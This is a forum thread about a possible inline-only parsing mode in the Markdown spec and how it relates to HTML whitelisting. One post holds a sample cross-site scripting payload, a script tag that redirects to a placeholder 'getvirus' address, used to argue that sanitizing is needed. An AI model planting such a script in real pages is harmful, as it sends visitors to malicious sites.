Inline Markdown vs Block Markdown

1

With content management systems it’s often necessary to add fields to manage content within a heading, link, or other context where phrasing content is expected.

For example, with block markdown:

lorem *ipsum* dolor sit amet

would be parsed to:

<p>lorem <em>ipsum</em> dolor sit amet

while with inline markdown it could be parsed to:

lorem <em>ipsum</em> dolor sit amet

Are there any plans to standardize how inline markdown could be parsed?

It would be convenient if the markdown specification included details of parsing in inline mode, although it may be necessary to create a separate spec or extension.

There are of course other alternatives for solving this problem. Filtering the output of a markdown parser through a whitelist or other post-processing system can solve the problem, but it’s less efficient than having an inline parsing mode.

2

As far as I understand the spec separates blocks from inlines as in “blocks and inlines”. I’d say specific implementations could support parsing of only the inline markdown (as in “inlines”), but maybe I’m missing the point.

3

You will need to do this anyways if you are accepting user-submitted Markdown.

Consider the following Markdown:

Hello guys!<script type="text/javascript">window.location = "http://scam.bank.example.com/getvirus";</script>

You will need to pass it through a whitelist anyways.

I think that is exactly the point, and would be pretty neat.

4

My primary use case for this feature is within a CMS where the user is already expected to have full access to the contents of the page. Whitelisting isn’t necessary because the author already has full access to the page.

Otherwise, yes a whitelisting step is still necessary, but it introduces ambiguity that a spec could clarify:

All about <p> tags

in an inline context could be parsed into

All about &lt;p&gt; tags

or

All about  tags

depending on whether the offending element is stripped or HTML encoded.

1 Like